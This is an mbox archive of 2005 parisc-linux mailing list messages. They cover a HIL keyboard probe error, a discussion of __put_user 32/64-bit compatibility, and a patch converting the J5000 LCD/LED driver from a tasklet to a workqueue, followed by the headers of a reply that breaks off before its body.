List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ifgyYuodeSE5+76WZHQhaXN2IGRvb8Dd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22472

I just got the following when testing HIL:

1986u10:~# modprobe hil_kbd
1986u10:~# HIL KEYB: HIL keyboard found (did = 0xdf, lang = english.us)
input: HIL keyboard, ID: 223
hil_kbd: probe of serio4 failed with error -5
hil_kbd: probe of serio5 failed with error -5
hil_kbd: probe of serio6 failed with error -5
hil_kbd: probe of serio7 failed with error -5
hil_kbd: probe of serio8 failed with error -5
hil_kbd: probe of serio9 failed with error -5
hil_kbd: probe of serio10 failed with error -5
hil_kbd: probe of serio11 failed with error -5
hil_kbd: probe of serio12 failed with error -5
hil_kbd: probe of serio13 failed with error -5
hil_kbd: probe of serio14 failed with error -5
hil_kbd: probe of serio15 failed with error -5
hil_kbd: probe of serio16 failed with error -5
hil_kbd: probe of serio17 failed with error -5

1986u10:~#

The HIL keyboard worked fine, though.  Has anyone else seen this?  I'm
guessing it's related to the recent input layer changes.  I can't see
where the messages are coming from... it's not hil_kbd.c :-(

Also, rmmod hil_kbd hangs, but other processes carry on running okay,
and the HIL mouse still works.

Thanks,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Comments?
Date: Wed, 23 Mar 2005 17:29:22 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <20050323172922.GK21986@parcelfarce.linux.theplanet.co.uk>
References: <20050314132842.GE28289@tausq.org>
	<200503220225.j2M2PD6E010193@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623708 13403 80.91.229.3 (22 Nov 2014 02:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2005 17:29:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 23 Mar 2005 18:29:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 596117D66E;
	Wed, 23 Mar 2005 10:30:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20827-03; Wed, 23 Mar 2005 10:30:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 770177D663;
	Wed, 23 Mar 2005 10:30:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95A277D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 10:30:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20534-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 10:30:55 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id ED36D7D648
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 10:30:54 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1DE9fW-0002H3-Ve; Wed, 23 Mar 2005 17:29:23 +0000
Content-Disposition: inline
In-Reply-To: <200503220225.j2M2PD6E010193@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KcIzYtE0eSE5+76WZHQhaXN2IGRvbwCL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22473

On Mon, Mar 21, 2005 at 09:25:13PM -0500, John David Anglin wrote:
> I got a bit paranoid about __put_user after the above bug.  Looking at
> it, I believe that the LP64 version is broken for *(ptr) types of long,
> unsigned long, and pointer types.  I believe that the current code
> puts a 64-bit value instead of the 32-bit value that the 32-bit runtime
> expects for these types.  This is fixed by adding a layer over the
> old __put_user macro to do various type checking.

Hum.  It's definitely a tricky problem.  On its face, you're right;
we shouldn't be writing 64-bit values to a 32-bit userspace.  However,
the compatibility layers often do something like:

asmlinkage int sys32_sendfile64(int out_fd, int in_fd, compat_loff_t __user *off
set, s32 count)
{
        mm_segment_t old_fs = get_fs();
        int ret;
        loff_t lof;
        if (offset && get_user(lof, offset))
                return -EFAULT;
        set_fs(KERNEL_DS);
        ret = sys_sendfile64(out_fd, in_fd, offset ? (loff_t __user *)&lof : NUL
L, count);
        set_fs(old_fs);
        if (offset && put_user(lof, offset))
                return -EFAULT;
        return ret;
}

Then sys_sendfile64() will do a put_user() to write to the loff_t variable,
and writing a 32-bit value to that would definitely be the wrong thing to do.

> The rest of the changes are just warning fixes that I noticed during
> testing.  I don't believe that they have a functional effect.

Those warnings are reminders that nobody's audited this code for ioremap
compatibility:

/*
 * Memory mapped I/O
 *
 * readX()/writeX() do byteswapping and take an ioremapped address
 * __raw_readX()/__raw_writeX() don't byteswap and take an ioremapped address.
 * gsc_*() don't byteswap and operate on physical addresses;
 *   eg dev->hpa or 0xfee00000.
 */

Maybe I need more verbiage in here for people who're tempted to fix these
warnings with more casts, but I doubt people would read it anyway ...

> I tested this with 32 and 64-bit builds of 2.6.12-rc1-pa1 with the
> default c3000 and 64 configs.  I am running the 32-bit build and a
> slighter earlier version survived a gcc build.  I haven't run the
> 64-bit changes.  I now don't see any cast related errors in the builds
> except one in a call to atomic_read.  That's an unrelated problem.

Someone else is fixing that -- in XFS or ieee1394, right?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J5000 LCD patch
Date: Wed, 23 Mar 2005 18:55:07 +0000
Lines: 402
Approved: news@gmane.org
Message-ID: <200503231855.10502.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0624646901=="
X-Trace: ger.gmane.org 1416623708 13406 80.91.229.3 (22 Nov 2014 02:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2005 18:55:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 23 Mar 2005 19:55:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D5D57D663;
	Wed, 23 Mar 2005 11:56:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21296-06; Wed, 23 Mar 2005 11:56:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 899017D655;
	Wed, 23 Mar 2005 11:56:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B28FE7D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 11:56:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21127-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 11:56:41 -0700 (MST)
Original-Received: from astro.systems.pipex.net (astro.systems.pipex.net [62.241.163.6])
	by free.linux.hp.com (Postfix) with ESMTP id CF7437D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 11:56:40 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by astro.systems.pipex.net (Postfix) with ESMTP id 34616E0000E5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 18:55:11 +0000 (GMT)
User-Agent: KMail/1.7.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yt4zYkUGeSE5+76WZHQhaXN2IGRvb0De
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22474

--===============0624646901==
Content-Type: multipart/signed; boundary="nextPart3786758.bIPpWUM2s4";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart3786758.bIPpWUM2s4
Content-Type: multipart/mixed;
  boundary="Boundary-01=_LubQCGHwsJYT4NX"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_LubQCGHwsJYT4NX
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi,

I've been working on my own LCD patch for the J5000 and other LCD front=20
panel-equipped machines.=20

My idea is slightly different to some of the other solutions that have been=
=20
submitted recently.  Rather than come up with a complex method of writing a=
=20
different register each time the tasklet is triggered (which still does not=
=20
guarantee that you are waiting the correct min_cmd_delay), I decided to=20
remove the tasklet, and use a dedicated work queue to drive this.  The=20
primary advantage is that work queue tasks can sleep, whereas tasklets=20
cannot. So, it now sleeps the correct amount of time per LCD writes.   I do=
=20
not see this affecting LED based machines, but for LCD based machines, it=20
should now give you working heartbeats, and more responsive HDD/network=20
symbols also.

It can DEFINITELY be improved further, primarily by increasing the delay=20
between rescheduling the work queue item, so reducing CPU util.  I'll submi=
t=20
a later patch for that pending feedback on this one, which is of course ver=
y=20
welcome!

Thanks,

David

--Boundary-01=_LubQCGHwsJYT4NX
Content-Type: text/x-diff;
  charset="us-ascii";
  name="lcdpatch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="lcdpatch"

diff -urN vanillabuilt/arch/parisc/kernel/time.c lcdtree/arch/parisc/kernel=
/time.c
=2D-- vanillabuilt/arch/parisc/kernel/time.c	2005-03-22 20:07:26.000000000 =
+0000
+++ lcdtree/arch/parisc/kernel/time.c	2005-03-23 18:29:49.000000000 +0000
@@ -88,14 +88,6 @@
 			write_sequnlock(&xtime_lock);
 		}
 	}
=2D   =20
=2D#ifdef CONFIG_CHASSIS_LCD_LED
=2D	/* Only schedule the led tasklet on cpu 0, and only if it
=2D	 * is enabled.
=2D	 */
=2D	if (cpu =3D=3D 0 && !atomic_read(&led_tasklet.count))
=2D		tasklet_schedule(&led_tasklet);
=2D#endif
=20
 	/* check soft power switch status */
 	if (cpu =3D=3D 0 && !atomic_read(&power_tasklet.count))
diff -urN vanillabuilt/drivers/parisc/led.c lcdtree/drivers/parisc/led.c
=2D-- vanillabuilt/drivers/parisc/led.c	2005-03-22 20:08:25.000000000 +0000
+++ lcdtree/drivers/parisc/led.c	2005-03-23 18:27:40.000000000 +0000
@@ -37,6 +37,7 @@
 #include <linux/proc_fs.h>
 #include <linux/ctype.h>
 #include <linux/blkdev.h>
+#include <linux/workqueue.h>
 #include <asm/io.h>
 #include <asm/processor.h>
 #include <asm/hardware.h>
@@ -46,10 +47,10 @@
 #include <asm/uaccess.h>
=20
 /* The control of the LEDs and LCDs on PARISC-machines have to be done=20
=2D   completely in software. The necessary calculations are done in a task=
let
=2D   which is scheduled at every timer interrupt and since the calculation=
s=20
=2D   may consume relatively much CPU-time some of the calculations can be=
=20
=2D   turned off with the following variables (controlled via procfs) */
+   completely in software. The necessary calculations are done in a work q=
ueue
+   item which is scheduled at every timer interrupt and since the calculat=
ions=20
+   may consume a relatively large amount of CPU-time, some of the calculat=
ions=20
+   can be turned off with the following variables (controlled via procfs) =
*/
=20
 static int led_type =3D -1;
 static int led_heartbeat =3D 1;
@@ -58,6 +59,14 @@
 static char lcd_text[32];
 static char lcd_text_default[32];
=20
+
+static int led_wq_created =3D 0;
+static struct workqueue_struct *led_wq;
+static struct work_struct led_task;
+static void led_work_func(void *);
+static DECLARE_WORK(led_task, led_work_func, NULL);
+
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
@@ -109,13 +118,20 @@
 	.reset_cmd2 =3D		0xc0,
 };
=20
+/* The workqueue must be created at init-time */
+static void start_task(void) {
+	led_wq =3D create_singlethread_workqueue("led_wq");=09
+	queue_work(led_wq, &led_task);
+	led_wq_created =3D 1;
+}
+
+__initcall(start_task);
=20
 /* direct access to some of the lcd_info variables */
 #define LCD_CMD_REG	lcd_info.lcd_cmd_reg_addr	=20
 #define LCD_DATA_REG	lcd_info.lcd_data_reg_addr	=20
 #define LED_DATA_REG	lcd_info.lcd_cmd_reg_addr	/* LASI & ASP only */
=20
=2D
 /* ptr to LCD/LED-specific function */
 static void (*led_func_ptr) (unsigned char);
=20
@@ -285,56 +301,40 @@
 /*
    **=20
    ** led_LCD_driver()
=2D   **=20
=2D   ** The logic of the LCD driver is, that we write at every scheduled c=
all
=2D   ** only to one of LCD_CMD_REG _or_ LCD_DATA_REG - registers.
=2D   ** That way we don't need to let this tasklet busywait for min_cmd_de=
lay
=2D   ** milliseconds.
=2D   **
=2D   ** TODO: check the value of "min_cmd_delay" against the value of HZ.
    **  =20
  */
 static void led_LCD_driver(unsigned char leds)
 {
=2D	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
=2D	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
=2D	struct lcd_block *block_ptr;
=2D	int value;
=2D
=2D	switch (last_index) {
=2D	    case 0:	block_ptr =3D &lcd_info.heartbeat;
=2D			value =3D leds & LED_HEARTBEAT;
=2D			break;
=2D	    case 1:	block_ptr =3D &lcd_info.disk_io;
=2D			value =3D leds & LED_DISK_IO;
=2D			break;				=09
=2D	    case 2:	block_ptr =3D &lcd_info.lan_rcv;
=2D			value =3D leds & LED_LAN_RCV;
=2D			break;				=09
=2D	    case 3:	block_ptr =3D &lcd_info.lan_tx;
=2D			value =3D leds & LED_LAN_TX;
=2D			break;
=2D	    default:	/* should never happen: */
=2D			return;
=2D	}
=2D
=2D	if (last_was_cmd) {
=2D	    /* write the value to the LCD data port */
=2D    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_RE=
G );
=2D	} else {
=2D	    /* write the command-byte to the LCD command register */
=2D    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
=2D	}   =20
=2D=09
=2D	/* now update the vars for the next interrupt iteration */=20
=2D	if (++last_was_cmd =3D=3D 2) { /* switch between cmd & data */
=2D	    last_was_cmd =3D 0;
=2D	    if (++last_index =3D=3D 4)=20
=2D		last_index =3D 0;	 /* switch back to heartbeat index */
+	static int lastleds;
+	static unsigned char mask[4] =3D { LED_HEARTBEAT, LED_DISK_IO,
+		LED_LAN_RCV, LED_LAN_TX };
+=09
+	static struct lcd_block * blockp[4] =3D {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
+=09
+	int i;
+	unsigned long wait_jiffies =3D (lcd_info.min_cmd_delay / 1000000) * HZ;
+	for (i=3D0; i<4; ++i) {
+		if ((leds & mask[i]) !=3D (lastleds & mask[i])) {
+			gsc_writeb( blockp[i]->command, LCD_CMD_REG );
+		=09
+			set_current_state(TASK_UNINTERRUPTIBLE);	=09
+			schedule_timeout(wait_jiffies);=09
+
+			gsc_writeb( leds & mask[i] ? blockp[i]->on :=20
+					blockp[i]->off, LCD_DATA_REG );
+		=09
+			set_current_state(TASK_UNINTERRUPTIBLE);	=09
+			schedule_timeout(wait_jiffies);=09
+		}
 	}
+	lastleds =3D leds;
 }
=20
=2D
 /*
    **=20
    ** led_get_net_activity()
@@ -355,7 +355,7 @@
=20
 	rx_total =3D tx_total =3D 0;
 =09
=2D	/* we are running as tasklet, so locking dev_base=20
+	/* we are running as a work queue item, so locking dev_base=20
 	 * for reading should be OK */
 	read_lock(&dev_base_lock);
 	for (dev =3D dev_base; dev; dev =3D dev->next) {
@@ -417,7 +417,7 @@
=20
=20
 /*
=2D   ** led_tasklet_func()
+   ** led_work_func()
    **=20
    ** is scheduled at every timer interrupt from time.c and
    ** updates the chassis LCD/LED=20
@@ -433,10 +433,11 @@
=20
 #define NORMALIZED_COUNT(count) (count/(HZ/100))
=20
=2Dstatic void led_tasklet_func(unsigned long unused)
+static void led_work_func(void *unused)
 {
 	static unsigned char lastleds;
 	unsigned char currentleds; /* stores current value of the LEDs */
+=09
 	static unsigned long count; /* static incremented value, not wrapped */
 	static unsigned long count_HZ; /* counter in range 0..HZ */
=20
@@ -485,11 +486,11 @@
 	    led_func_ptr(currentleds);
 	    lastleds =3D currentleds;
 	}
+=09
+	/* Requeue ourself to run next jiffy */=09
+	queue_delayed_work(led_wq, &led_task, 1);
 }
=20
=2D/* main led tasklet struct (scheduled from time.c) */
=2DDECLARE_TASKLET_DISABLED(led_tasklet, led_tasklet_func, 0);
=2D
=20
 /*
    ** led_halt()
@@ -519,8 +520,14 @@
 	default:		return NOTIFY_DONE;
 	}
 =09
=2D	/* completely stop the LED/LCD tasklet */
=2D	tasklet_disable(&led_tasklet);
+	/* completely stop the LED/LCD task */
+
+	if (led_wq_created) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+=09
+		destroy_workqueue(led_wq);
+	}
=20
 	if (lcd_info.model =3D=3D DISPLAY_MODEL_LCD)
 		lcd_print(txt);
@@ -587,9 +594,6 @@
 	initialized++;
 	register_reboot_notifier(&led_notifier);
=20
=2D	/* start the led tasklet for the first time */
=2D	tasklet_enable(&led_tasklet);
=2D=09
 	return 0;
 }
=20
@@ -624,7 +628,7 @@
    ** lcd_print()
    **=20
    ** Displays the given string on the LCD-Display of newer machines.
=2D   ** lcd_print() disables the timer-based led tasklet during its=20
+   ** lcd_print() disables the workqueue-based led task during its=20
    ** execution and enables it afterwards again.
    **
  */
@@ -635,9 +639,11 @@
 	if (!led_func_ptr || lcd_info.model !=3D DISPLAY_MODEL_LCD)
 	    return 0;
 =09
=2D	/* temporarily disable the led tasklet */
=2D	tasklet_disable(&led_tasklet);
=2D
+	/* temporarily disable the led task */
+	if (led_wq_created) {
+		if (cancel_delayed_work(&led_task) =3D=3D 0)=20
+			flush_workqueue(led_wq);
+	}
 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
 =09
@@ -654,8 +660,10 @@
 	    udelay(lcd_info.min_cmd_delay);
 	}
 =09
=2D	/* re-enable the led tasklet */
=2D	tasklet_enable(&led_tasklet);
+	if (led_wq_created) {
+		/* re-enable the led task */
+		queue_work(led_wq, &led_task);
+	}
=20
 	return lcd_info.lcd_width;
 }
diff -urN vanillabuilt/include/asm/led.h lcdtree/include/asm/led.h
=2D-- vanillabuilt/include/asm/led.h	2005-03-22 20:09:08.000000000 +0000
+++ lcdtree/include/asm/led.h	2005-03-23 18:27:47.000000000 +0000
@@ -23,9 +23,6 @@
=20
 #define LED_CMD_REG_NONE 0		/* NULL =3D=3D no addr for the cmd register */
=20
=2D/* led tasklet struct */
=2Dextern struct tasklet_struct led_tasklet;
=2D
 /* register_led_driver() */
 int __init register_led_driver(int model, unsigned long cmd_reg, unsigned =
long data_reg);
=20
diff -urN vanillabuilt/include/asm-parisc/led.h lcdtree/include/asm-parisc/=
led.h
=2D-- vanillabuilt/include/asm-parisc/led.h	2005-03-22 20:09:08.000000000 +=
0000
+++ lcdtree/include/asm-parisc/led.h	2005-03-23 18:27:47.000000000 +0000
@@ -23,9 +23,6 @@
=20
 #define LED_CMD_REG_NONE 0		/* NULL =3D=3D no addr for the cmd register */
=20
=2D/* led tasklet struct */
=2Dextern struct tasklet_struct led_tasklet;
=2D
 /* register_led_driver() */
 int __init register_led_driver(int model, unsigned long cmd_reg, unsigned =
long data_reg);
=20

--Boundary-01=_LubQCGHwsJYT4NX--

--nextPart3786758.bIPpWUM2s4
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCQbuOOIrGtzS07WgRAjQPAJwPOF3TKJC685FTp+/Axw+wI3M2qgCgtBGH
OHeig23Ebp9zL7XJvt/ksZ4=
=NIn2
-----END PGP SIGNATURE-----

--nextPart3786758.bIPpWUM2s4--

--===============0624646901==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0624646901==--



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LCD patch
Date: Wed, 23 Mar 2005 13:18:31 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20050323201831.GC10544@colo.lackof.org>
References: <200503231855.10502.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623709 13409 80.91.229.3 (22 Nov 2014 02:35:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2005 20:17:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 23 Mar 2005 21:17:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCC1E7D655;
	Wed, 23 Mar 2005 13:18:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21765-03; Wed, 23 Mar 2005 13:18:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3C407D65D;
	Wed, 23 Mar 2005 13:18:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD2E97D654
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 13:18:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21385-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 13:18:22 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3ABA17D652
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Mar 2005 13:18:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 491F7298059;
	Wed, 23 Mar 2005 13:18:33 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13410-10; Wed, 23 Mar 2005 13:18:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DD27E298056; Wed, 23 Mar 2005 13:18:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503231855.10502.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
